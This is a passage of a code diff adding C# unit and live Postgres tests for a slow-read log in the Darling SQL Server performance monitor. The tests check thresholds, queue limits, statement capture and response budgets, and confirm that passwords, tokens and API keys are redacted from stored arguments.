+        var log = new SlowReadLog();
+        Assert.Equal(5_000, log.ThresholdMs);
+
+        Assert.True(log.ShouldRecord(ReadOutcome.Ok, 5_000));
+        Assert.False(log.ShouldRecord(ReadOutcome.Ok, 4_999));
+        Assert.True(log.ShouldRecord(ReadOutcome.Timeout, 10));
+        Assert.True(log.ShouldRecord(ReadOutcome.Error, 10));
+        Assert.True(log.ShouldRecord(ReadOutcome.Limit, 10));
+        Assert.False(log.ShouldRecord(ReadOutcome.Cancelled, 10));
+        Assert.False(log.ShouldRecord(ReadOutcome.FallbackRaw, 10));
+        Assert.False(log.ShouldRecord(ReadOutcome.GateFailed, 10));
+        Assert.True(log.ShouldRecord(ReadOutcome.Cancelled, 6_000));
+        Assert.True(log.ShouldRecord(ReadOutcome.FallbackRaw, 6_000));
+    }
+
+    [Fact]
+    public void Offer_QueuesASlowRead_AndNothingForAFastOkRead()
+    {
+        var log = new SlowReadLog();
+        var scope = NewScope();
+
+        log.Offer(scope, ReadSurface.Mcp, "fast_tool", ReadOutcome.Ok, 40, null, null, null);
+        Assert.False(log.TryRead(out _));
+
+        log.Offer(scope, ReadSurface.Mcp, "slow_tool", ReadOutcome.Ok, 7_000, null, null, null);
+        Assert.True(log.TryRead(out var record));
+        Assert.Equal("slow_tool", record!.Route);
+        Assert.Equal("mcp", record.Surface);
+        Assert.Equal("ok", record.Outcome);
+        Assert.Equal(7_000, record.TotalMs);
+        Assert.Equal(DateTimeKind.Unspecified, record.ReadTimeUtc.Kind);
+    }
+
+    [Fact]
+    public void Arguments_AreNormalised_ServerToIdAndHoursToAWindow_AndSecretKeysBlanked()
+    {
+        var arguments = new JsonObject
+        {
+            ["server_name"] = "some-host",
+            ["hours_back"] = 48,
+            ["top"] = 20,
+            ["api_key"] = "do-not-store",
+        };
+        var started = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        var (json, truncated, start, end) = SlowReadLog.NormaliseArguments(arguments, 7, started);
+
+        Assert.False(truncated);
+        var parsed = JsonNode.Parse(json)!.AsObject();
+        Assert.Equal(48, (int)parsed["hours_back"]!);
+        Assert.Equal(20, (int)parsed["top"]!);
+        Assert.Equal(7, (int)parsed["server_id"]!);
+        Assert.Equal("[redacted]", (string)parsed["api_key"]!);
+        Assert.False(parsed.ContainsKey("server_name"));
+        Assert.DoesNotContain("some-host", json, StringComparison.Ordinal);
+        Assert.Equal(new DateTime(2026, 10, 1, 12, 0, 0), end);
+        Assert.Equal(new DateTime(2026, 9, 29, 12, 0, 0), start);
+    }
+
+    [Fact]
+    public void ARepeatedHoursKey_RecordedAsAnArray_KeepsTheWindowOfItsFirstValue()
+    {
+        var started = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        var (_, _, start, end) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours"] = new JsonArray("2", "24") }, null, started);
+        Assert.Equal(new DateTime(2026, 10, 1, 12, 0, 0), end);
+        Assert.Equal(new DateTime(2026, 10, 1, 10, 0, 0), start);
+
+        var (_, _, backStart, _) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours_back"] = new JsonArray(6, 24) }, null, started);
+        Assert.Equal(new DateTime(2026, 10, 1, 6, 0, 0), backStart);
+    }
+
+    [Fact]
+    public void ARepeatedAsOfKey_RecordedAsAnArray_EndsTheWindowAtItsFirstValue()
+    {
+        var started = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        var (_, _, start, end) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours"] = "4", ["as_of"] = new JsonArray("2026-09-30T08:00:00Z", "2026-01-01T00:00:00Z") },
+            null, started);
+
+        Assert.Equal(new DateTime(2026, 9, 30, 8, 0, 0), end);
+        Assert.Equal(new DateTime(2026, 9, 30, 4, 0, 0), start);
+    }
+
+    [Fact]
+    public void APlainHoursValue_IsReadAsBefore_AndAnEmptyArrayDerivesNoWindow()
+    {
+        var started = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        var (_, _, plainStart, plainEnd) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours"] = "2" }, null, started);
+        Assert.Equal(new DateTime(2026, 10, 1, 10, 0, 0), plainStart);
+        Assert.Equal(new DateTime(2026, 10, 1, 12, 0, 0), plainEnd);
+
+        var (_, _, emptyStart, emptyEnd) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours"] = new JsonArray() }, null, started);
+        Assert.Null(emptyStart);
+        Assert.Null(emptyEnd);
+
+        var (_, _, noAsOfStart, noAsOfEnd) = SlowReadLog.NormaliseArguments(
+            new JsonObject { ["hours"] = "2", ["as_of"] = new JsonArray() }, null, started);
+        Assert.Equal(new DateTime(2026, 10, 1, 12, 0, 0), noAsOfEnd);
+        Assert.Equal(new DateTime(2026, 10, 1, 10, 0, 0), noAsOfStart);
+    }
+
+    [Fact]
+    public void Arguments_OverFourKilobytes_AreReplacedByATruncatedObject()
+    {
+        /* Strings over 128 characters are omitted, so the size bound is reached by many short keys. */
+        var arguments = new JsonObject { ["top"] = 5 };
+        for (var i = 0; i < 300; i++)
+        {
+            arguments["query_" + i.ToString("D3", System.Globalization.CultureInfo.InvariantCulture)] = new string('x', 100);
+        }
+
+        var (json, truncated, _, _) = SlowReadLog.NormaliseArguments(arguments, null, DateTime.UtcNow);
+
+        Assert.True(truncated);
+        Assert.True(Encoding.UTF8.GetByteCount(json) <= SlowReadLog.MaxArgumentsBytes);
+        var parsed = JsonNode.Parse(json)!.AsObject();
+        Assert.True((bool)parsed["truncated"]!);
+        Assert.Contains("query_000", parsed["keys"]!.AsArray().Select(k => (string)k!));
+    }
+
+    [Fact]
+    public void Statements_AreCappedAtFifty_AndSayMoreRan()
+    {
+        var log = new SlowReadLog();
+        using var opened = ReadScope.Open(null);
+        var scope = opened.Scope;
+        scope.CaptureStatements = true;
+        for (var i = 0; i < 60; i++)
+        {
+            scope.AddStatement("SELECT " + i, 1.25 + i, null);
+        }
+
+        log.Offer(scope, ReadSurface.Web, "route", ReadOutcome.Timeout, 100, null, "57014", null);
+        Assert.True(log.TryRead(out var record));
+        Assert.Equal(50, JsonNode.Parse(record!.StatementsJson)!.AsArray().Count);
+        Assert.Equal(60, record.StatementCount);
+        Assert.True(record.StatementsTruncated);
+        Assert.Equal("57014", record.ErrorClass);
+    }
+
+    [Fact]
+    public void TheQueue_HoldsAtMost256_DropsTheOldest_AndCountsTheDrops()
+    {
+        var log = new SlowReadLog();
+        var scope = NewScope();
+        for (var i = 0; i < SlowReadLog.Capacity + 10; i++)
+        {
+            log.Offer(scope, ReadSurface.Mcp, "r" + i, ReadOutcome.Error, 1, null, "X", null);
+        }
+
+        Assert.Equal(10, log.Dropped);
+        Assert.True(log.TryRead(out var first));
+        Assert.Equal("r10", first!.Route);
+    }
+
+    [Fact]
+    public void ErrorClass_IsATypeNameOrSqlState_NeverMessageText()
+    {
+        Assert.Equal("InvalidOperationException", SlowReadLog.ErrorClassOf(new InvalidOperationException("secret text")));
+        Assert.Equal("57014", SlowReadLog.ErrorClassOf(new PostgresException("canceling statement", "ERROR", "ERROR", "57014")));
+    }
+
+    private static JsonObject Stored(JsonObject arguments, out string json)
+    {
+        (json, _, _, _) = SlowReadLog.NormaliseArguments(arguments, null, DateTime.UtcNow);
+        return JsonNode.Parse(json)!.AsObject();
+    }
+
+    [Fact]
+    public void AServerBatchArgument_CarryingAPassword_IsNeverStored()
+    {
+        var arguments = new JsonObject
+        {
+            ["servers_json"] = "[{\"server_name\":\"x\",\"password\":\"Hunter2!\"}]",
+        };
+
+        var stored = Stored(arguments, out var json);
+
+        Assert.DoesNotContain("Hunter2!", json, StringComparison.Ordinal);
+        Assert.DoesNotContain("password\":\"", json, StringComparison.Ordinal);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["servers_json"]!);
+    }
+
+    [Fact]
+    public void ASettingsJsonArgument_CarryingAWebhookSecret_IsOmitted()
+    {
+        var arguments = new JsonObject
+        {
+            ["settings_json"] = "{\"smtp\":{\"notes\":\"x\"},\"hook\":\"https://hooks.example.test/T000/B000/s3cr3tvalue\"}",
+        };
+
+        var stored = Stored(arguments, out var json);
+
+        Assert.DoesNotContain("s3cr3tvalue", json, StringComparison.Ordinal);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["settings_json"]!);
+    }
+
+    [Fact]
+    public void ANestedSecretKey_InAComposeBody_IsRedactedAtAnyDepth()
+    {
+        var body = JsonNode.Parse("{\"panel\":{\"options\":{\"api_key\":\"abc123\",\"top\":5}},\"list\":[{\"Password\":\"p\"}]}")!.AsObject();
+
+        var stored = Stored(body, out var json);
+
+        Assert.DoesNotContain("abc123", json, StringComparison.Ordinal);
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored["panel"]!["options"]!["api_key"]!);
+        Assert.Equal(5, (int)stored["panel"]!["options"]!["top"]!);
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored["list"]![0]!["Password"]!);
+    }
+
+    [Fact]
+    public void AWebQueryString_RedactsTheToken_AndKeepsTheScalars()
+    {
+        var query = new JsonObject { ["token"] = "abc", ["hours_back"] = "48" };
+
+        var stored = Stored(query, out _);
+
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored["token"]!);
+        Assert.Equal("48", (string)stored["hours_back"]!);
+    }
+
+    [Fact]
+    public void NumbersBooleansAndShortStrings_AreKept()
+    {
+        var stored = Stored(new JsonObject { ["hours_back"] = 48, ["top"] = 20, ["flag"] = true, ["view"] = "waits" }, out _);
+
+        Assert.Equal(48, (int)stored["hours_back"]!);
+        Assert.Equal(20, (int)stored["top"]!);
+        Assert.True((bool)stored["flag"]!);
+        Assert.Equal("waits", (string)stored["view"]!);
+    }
+
+    [Fact]
+    public void AnyNonJsonString_OfMoreThan128Characters_IsOmitted_AndExactly128IsKept()
+    {
+        var stored = Stored(new JsonObject { ["long"] = new string('a', 129), ["edge"] = new string('b', 128) }, out _);
+
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["long"]!);
+        Assert.Equal(128, ((string)stored["edge"]!).Length);
+    }
+
+    [Fact]
+    public void AnyShortStringWithABrace_OrBracket_IsOmitted_ParsedOrNot()
+    {
+        var stored = Stored(new JsonObject { ["a"] = "{\"k\":1}", ["b"] = "[1,2]", ["c"] = "[not json", ["d"] = "{also not" }, out _);
+
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["a"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["b"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["c"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["d"]!);
+    }
+
+    [Fact]
+    public void Nesting_StopsAtDepthEight_AndAnArrayAtFiftyElements()
+    {
+        JsonNode inner = new JsonObject { ["leaf"] = 1 };
+        for (var i = 0; i < 10; i++)
+        {
+            inner = new JsonObject { ["n"] = inner };
+        }
+
+        var many = new JsonArray();
+        for (var i = 0; i < 60; i++)
+        {
+            many.Add(i);
+        }
+
+        var stored = Stored(new JsonObject { ["deep"] = inner, ["many"] = many }, out var json);
+
+        Assert.Contains("\"[omitted]\"", json, StringComparison.Ordinal);
+        Assert.DoesNotContain("leaf", json, StringComparison.Ordinal);
+        var array = stored["many"]!.AsArray();
+        Assert.Equal(51, array.Count);
+        Assert.Equal("[omitted 10 more]", (string)array[50]!);
+    }
+
+    [Theory]
+    [InlineData("password")]
+    [InlineData("passwd")]
+    [InlineData("pwd")]
+    [InlineData("client_secret")]
+    [InlineData("access_token")]
+    [InlineData("apikey")]
+    [InlineData("api_key")]
+    [InlineData("license_key")]
+    [InlineData("credential")]
+    [InlineData("connectionstring")]
+    [InlineData("connection_string")]
+    [InlineData("authorization")]
+    public void EverySecretFragment_IsRedacted(string key)
+    {
+        var stored = Stored(new JsonObject { [key] = "v", ["x"] = new JsonObject { [key.ToUpperInvariant()] = "v" } }, out _);
+
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored[key]!);
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored["x"]![key.ToUpperInvariant()]!);
+    }
+
+    [Fact]
+    public void TheStatementCapture_ReadsOnlyTheQueryTextAndReturnedRowsTags()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "ReadStatementCapture.cs");
+        var tagKeys = System.Text.RegularExpressions.Regex.Matches(source, "\"(db\\.[A-Za-z0-9_.]+)\"")
+            .Select(m => m.Groups[1].Value).Distinct().OrderBy(k => k, StringComparer.Ordinal).ToArray();
+
+        Assert.Equal(new[] { "db.query.text", "db.response.returned_rows" }, tagKeys);
+        Assert.DoesNotContain("data_source", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ABuiltRecord_CarriesTheRowCountTheReadNoted()
+    {
+        using var opened = ReadScope.Open(null);
+        ReadScope.NoteRows(1234);
+
+        var record = SlowReadLog.Build(opened.Scope, ReadSurface.Mcp, "r", ReadOutcome.Ok, 9_000, null, null, DateTime.UtcNow);
+        Assert.Equal(1234L, record.RowCount);
+
+        using var none = ReadScope.Open(null);
+        Assert.Null(SlowReadLog.Build(none.Scope, ReadSurface.Mcp, "r", ReadOutcome.Ok, 9_000, null, null, DateTime.UtcNow).RowCount);
+    }
+
+    [Fact]
+    public void ThePurge_RunsFirst_ThenAtMostOncePerMinuteOrPerHundredInserts()
+    {
+        var log = new SlowReadLog();
+        var t0 = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        Assert.True(log.PurgeDue(t0));
+        for (var i = 0; i < 50; i++)
+        {
+            Assert.False(log.PurgeDue(t0.AddSeconds(1)));
+        }
+
+        Assert.True(log.PurgeDue(t0.AddSeconds(61)), "a minute on");
+        for (var i = 1; i < SlowReadLog.PurgeEveryInserts; i++)
+        {
+            Assert.False(log.PurgeDue(t0.AddSeconds(62)));
+        }
+
+        Assert.True(log.PurgeDue(t0.AddSeconds(62)), "the hundredth insert");
+    }
+
+    [Fact]
+    public void TheThreshold_IsInjectedPerInstance()
+    {
+        var instant = new SlowReadLog(0);
+        var normal = new SlowReadLog();
+
+        Assert.True(instant.ShouldRecord(ReadOutcome.Ok, 0));
+        Assert.False(normal.ShouldRecord(ReadOutcome.Ok, 0));
+    }
+
+    private static DarlingSlowReadReader.SlowReadRow Row(long id, int statements)
+    {
+        var array = new JsonArray();
+        for (var i = 1; i <= statements; i++)
+        {
+            array.Add(new JsonObject { ["ordinal"] = i, ["label"] = new string('q', 120), ["hash"] = "abcd1234", ["ms"] = 10.25 * i, ["rows"] = null });
+        }
+
+        return new DarlingSlowReadReader.SlowReadRow(
+            id, new DateTime(2026, 10, 1, 0, 0, 0).AddSeconds(id), "mcp", "get_x", "timeout", 9_000, null, null, null, null,
+            new JsonObject { ["top"] = 20 }, false, "raw", null, array, statements, false, "57014");
+    }
+
+    [Fact]
+    public void TheResponse_FitsTheBudget_DropsRowsFromTheEnd_AndSaysSo()
+    {
+        var reads = Enumerable.Range(1, 100).Select(i => Row(i, 50)).ToList();
+        var page = new DarlingSlowReadReader.Page(reads, new[] { new DarlingSlowReadReader.SummaryRow("mcp", "get_x", "timeout", 100) });
+
+        var json = DarlingMcpSlowReadTools.BuildResponse(24, null, null, null, page, 100, fullDetail: true, McpResponseBudgetBytes);
+
+        Assert.True(Encoding.UTF8.GetByteCount(json) <= McpResponseBudgetBytes, "the payload is over the budget");
+        var parsed = JsonNode.Parse(json)!.AsObject();
+        Assert.True((bool)parsed["truncated"]!);
+        var returned = (int)parsed["reads_returned"]!;
+        Assert.InRange(returned, 1, 99);
+        Assert.Equal(100, (int)parsed["reads_total"]!);
+        /* Newest first: the dropped rows are the OLDEST, so the first row kept is the newest id. */
+        Assert.Equal(returned, parsed["reads"]!.AsArray().Count);
+        Assert.Contains("2026-10-01T00:01:40", (string)parsed["reads"]![0]!["read_time"]!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDefaultRowShowsTheFiveSlowestStatements_SlowestFirst_AndCountsTheOmitted()
+    {
+        var shaped = DarlingMcpSlowReadTools.ShapeStatements(Row(1, 8).Statements, fullDetail: false);
+        Assert.Equal(5, shaped.Shown.Count);
+        Assert.Equal(3, shaped.Omitted);
+        var first = JsonNode.Parse(System.Text.Json.JsonSerializer.Serialize(shaped.Shown[0]))!;
+        Assert.Equal(8, (int)first["ordinal"]!);
+        Assert.Equal(82.0, (double)first["ms"]!);
+
+        var full = DarlingMcpSlowReadTools.ShapeStatements(Row(1, 8).Statements, fullDetail: true);
+        Assert.Equal(8, full.Shown.Count);
+        Assert.Equal(0, full.Omitted);
+    }
+
+    [Fact]
+    public async Task AWriteThatFails_IsSwallowed()
+    {
+        await using var dead = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=x;Password=x;Timeout=1");
+        var log = new SlowReadLog();
+        var scope = NewScope();
+        log.Offer(scope, ReadSurface.Mcp, "r", ReadOutcome.Error, 1, null, "X", null);
+        Assert.True(log.TryRead(out var record));
+
+        await log.StoreAsync(dead, record!, null);
+    }
+
+    [Fact]
+    public void ABomPrefixedOrTrailingCommaJsonString_IsOmitted()
+    {
+        var stored = Stored(new JsonObject { ["a"] = "\uFEFF{\"password\":\"x\"}", ["b"] = "{\"password\":\"x\",}", ["c"] = "/*c*/{\"a\":1}" }, out _);
+
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["a"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["b"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["c"]!);
+    }
+
+    [Fact]
+    public void AUrlCredentialOrPasswordBearingString_IsOmitted_AndAPlainUrlIsKept()
+    {
+        var stored = Stored(new JsonObject { ["a"] = "https://u:p@h/x", ["b"] = "Server=a;Password=b", ["c"] = "Server=a;PWD = b", ["d"] = "https://h/x" }, out _);
+
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["a"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["b"]!);
+        Assert.Equal(SlowReadLog.OmittedMarker, (string)stored["c"]!);
+        Assert.Equal("https://h/x", (string)stored["d"]!);
+    }
+
+    [Fact]
+    public void DedupKey_IsKept_WhileApiKeyIsRedacted_AndOrdinaryArgumentsSurvive()
+    {
+        var stored = Stored(new JsonObject { ["dedup_key"] = "abc", ["api_key"] = "abc", ["hours_back"] = 4, ["top"] = 5, ["server_name"] = "s" }, out _);
+
+        Assert.Equal("abc", (string)stored["dedup_key"]!);
+        Assert.Equal(SlowReadLog.RedactedMarker, (string)stored["api_key"]!);
+        Assert.Equal(4, (int)stored["hours_back"]!);
+        Assert.Equal(5, (int)stored["top"]!);
+    }
+
+    [Fact]
+    public void AWebQueryKeyWithOddCharacters_IsDroppedAndCounted_AndALongKeyIsCappedAt64()
+    {
+        var args = DarlingWebEndpoints.WebQueryArguments(new[]
+        {
+            new KeyValuePair<string, string?>("bad key!", "v"),
+            new KeyValuePair<string, string?>(new string('k', 100), "v"),
+            new KeyValuePair<string, string?>("top", "5"),
+        });
+
+        Assert.False(args.ContainsKey("bad key!"));
+        Assert.Equal(1, (int)args["_dropped_keys"]!);
+        Assert.True(args.ContainsKey(new string('k', 64)));
+        Assert.False(args.ContainsKey(new string('k', 100)));
+        Assert.Equal("5", (string)args["top"]!);
+        Assert.False(DarlingWebEndpoints.WebQueryArguments(new[] { new KeyValuePair<string, string?>("top", "5") }).ContainsKey("_dropped_keys"));
+    }
+
+    /// <summary>A repeated key is recorded as a JSON array of its values, in the order sent; a key sent once stays a
+    /// plain string, and the 64-character key rule still applies to a repeated key (#5245).</summary>
+    [Fact]
+    public void ARepeatedWebQueryKey_KeepsEveryValueAsAnArray_AndASingleKeyIsUnchanged()
+    {
+        var args = DarlingWebEndpoints.WebQueryArguments(new[]
+        {
+            new KeyValuePair<string, string?>("database_name", "A"),
+            new KeyValuePair<string, string?>("top", "5"),
+            new KeyValuePair<string, string?>("database_name", "B"),
+            new KeyValuePair<string, string?>("server", ""),
+            new KeyValuePair<string, string?>("server", "S2"),
+            new KeyValuePair<string, string?>(new string('k', 100), "x"),
+            new KeyValuePair<string, string?>(new string('k', 100), "y"),
+        });
+
+        var databases = Assert.IsType<JsonArray>(args["database_name"]);
+        Assert.Equal(new[] { "A", "B" }, databases.Select(v => (string?)v).ToArray());
+        Assert.Equal(new[] { "", "S2" }, Assert.IsType<JsonArray>(args["server"]).Select(v => (string?)v).ToArray());
+        Assert.Equal(new[] { "x", "y" }, Assert.IsType<JsonArray>(args[new string('k', 64)]).Select(v => (string?)v).ToArray());
+        Assert.Equal("5", Assert.IsAssignableFrom<JsonValue>(args["top"]).GetValue<string>());
+    }
+
+    [Fact]
+    public void AnUnknownComposeSource_RecordsComposeUnknown_AndAKnownOneKeepsItsName()
+    {
+        Assert.Equal("compose:unknown", DarlingWebEndpoints.ComposeRouteLabel(new JsonObject { ["panel"] = new JsonObject { ["source"] = new string('x', 500) } }));
+        Assert.Equal("compose:wait_stats", DarlingWebEndpoints.ComposeRouteLabel(new JsonObject { ["panel"] = new JsonObject { ["source"] = "wait_stats" } }));
+    }
+
+    private const int McpResponseBudgetBytes = 32 * 1024;
+}
diff --git a/Darling/Darling.Tests/SlowReadsLiveTests.cs b/Darling/Darling.Tests/SlowReadsLiveTests.cs
new file mode 100644
index 0000000000..9defc01e13
--- /dev/null
+++ b/Darling/Darling.Tests/SlowReadsLiveTests.cs
@@ -0,0 +1,269 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Live pins for the slow-read record (#5097): the acceptance path (a slowed <c>get_query_store_top</c> call is read back
+/// with <c>get_slow_reads</c>, arguments and statements intact), the writer's retention and row cap, and the read tool's
+/// empty answer. Each fact mints its own scratch database.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class SlowReadsLiveTests
+{
+    private const string Token = "slow-read-pin-token";
+    private const int ServerId = 5097001;
+    private const string ServerName = "slow-read-pin";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<NpgsqlConnection> OpenMigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task RegisterServerAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+VALUES ($1, $2, $2, TRUE, 16, now(), now())
+ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE;", connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerId });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = ServerName });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static SlowReadRecord Record(DateTime time, string route) => new(
+        time, "mcp", route, "timeout", 9_000, null, null, null, "{}", false, null, null, "[]", 0, false, "57014");
+
+    private static async Task<TestServer> BuildServerAsync(NpgsqlDataSource postgres, SlowReadLog slowReads)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(postgres);
+        var sharedBaselines = new BaselineCache();
+        builder.Services.AddTransient<DarlingAnalysisService>(_ => new DarlingAnalysisService(
+            postgres, planFetcher: null, logger: NullLogger.Instance, baselineCache: sharedBaselines));
+        builder.Services.AddSingleton<Microsoft.Extensions.Logging.ILogger>(NullLogger.Instance);
+
+        DarlingMcpHostService.ConfigureMcpServices(
+            builder.Services, DarlingPeerDirectory.Snapshot.Empty, new ReadLatencyAccumulator(), NullLogger.Instance, slowReads);
+
+        var app = builder.Build();
+        var host = new DarlingMcpHostService(NullLogger<DarlingMcpHostService>.Instance, new McpRuntimeState(), new MonitoredServerRegistryState());
+        host.ConfigurePipeline(app, networkMode: false, networkListenIp: null, allowedCidr: System.Net.IPNetwork.Parse("127.0.0.1/32"), bearerToken: Token);
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    private static async Task<JsonObject> CallToolAsync(TestServer server, string tool, JsonObject arguments)
+    {
+        var request = new JsonObject
+        {
+            ["jsonrpc"] = "2.0",
+            ["id"] = 1,
+            ["method"] = "tools/call",
+            ["params"] = new JsonObject { ["name"] = tool, ["arguments"] = arguments },
+        }.ToJsonString();
+
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = "POST";
+            c.Request.Path = "/";
+            c.Request.Headers.Host = "localhost";
+            c.Request.Headers.Accept = "application/json, text/event-stream";
+            c.Request.ContentType = "application/json";
+            var bytes = Encoding.UTF8.GetBytes(request);
+            c.Request.Body = new System.IO.MemoryStream(bytes);
+            c.Request.ContentLength = bytes.Length;
+            c.Connection.RemoteIpAddress = IPAddress.Loopback;
+        });
+
+        using var reader = new System.IO.StreamReader(ctx.Response.Body);
+        var body = await reader.ReadToEndAsync();
+        var data = body.Split('\n').Select(l => l.TrimEnd('\r')).FirstOrDefault(l => l.StartsWith("data:", StringComparison.Ordinal));
+        var envelope = JsonNode.Parse(data is null ? body : data["data:".Length..].Trim())!.AsObject();
+        var text = (string)envelope["result"]!["content"]![0]!["text"]!;
+        return JsonNode.Parse(text)!.AsObject();
+    }
+
+    [Fact]
+    public async Task ASlowedQueryStoreTopCall_IsRecordedWithItsArguments_SourceAndStatements_AndReadBackByGetSlowReads()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 slow-read live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await RegisterServerAsync(connection, ct);
+
+        var bodySucceeded = false;
+        var log = new SlowReadLog(0);
+        using var writerStop = new CancellationTokenSource();
+        Task? writer = null;
+        TestServer? server = null;
+        try
+        {
+            /* Program.cs registers the process listener; a test host does not. */
+            ReadStatementCapture.Register();
+            writer = log.RunAsync(postgres, null, writerStop.Token);
+            server = await BuildServerAsync(postgres, log);
+
+            await CallToolAsync(server, "get_query_store_top", new JsonObject { ["server_name"] = ServerName, ["hours_back"] = 48, ["top"] = 20 });
+
+            JsonObject? answer = null;
+            for (var attempt = 0; attempt < 50; attempt++)
+            {
+                answer = await CallToolAsync(server, "get_slow_reads", new JsonObject { ["route"] = "get_query_store_top" });
+                if (answer["reads"] is JsonArray { Count: > 0 })
+                {
+                    break;
+                }
+
+                await Task.Delay(100, ct);
+            }
+
+            var read = Assert.Single(answer!["reads"]!.AsArray())!.AsObject();
+            Assert.Equal("mcp", (string)read["surface"]!);
+            Assert.Equal(48, (int)read["arguments"]!["hours_back"]!);
+            Assert.Equal(20, (int)read["arguments"]!["top"]!);
+            Assert.Equal(ServerName, (string)read["server_name"]!);
+            Assert.Equal(ServerId, (int)read["arguments"]!["server_id"]!);
+            Assert.False(read["arguments"]!.AsObject().ContainsKey("server_name"));
+            Assert.Contains((string)read["source"]!, new[] { "raw", "interval_table" });
+            var statements = read["statements"]!.AsArray();
+            Assert.NotEmpty(statements);
+            Assert.All(statements, s => Assert.True((double)s!["ms"]! >= 0));
+            Assert.True((int)read["statement_count"]! >= statements.Count);
+            var storedStatements = statements.ToJsonString();
+            foreach (var leak in new[] { "Host=", "Username=", "Password=" })
+            {
+                Assert.DoesNotContain(leak, storedStatements, StringComparison.Ordinal);
+            }
+
+            Assert.NotNull(read["rows"]);
+            Assert.True((long)read["rows"]! >= 0);
+            Assert.EndsWith("Z", (string)read["read_time"]!, StringComparison.Ordinal);
+            Assert.NotNull(read["window_start"]);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            server?.Dispose();
+            writerStop.Cancel();
+            if (writer is not null)
+            {
+                await writer;
+            }
+
+            await LiveStoreCleanupFinishAsync(scratch, bodySucceeded);
+        }
+    }
+
+    private static Task LiveStoreCleanupFinishAsync(ScratchPostgres scratch, bool bodySucceeded) =>
+        LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+
+    [Fact]
+    public async Task TheWriter_KeepsTheNewestTenThousandRows_AndPurgesRowsOlderThanThirtyDays()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 slow-read live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var bodySucceeded = false;
+        try
+        {
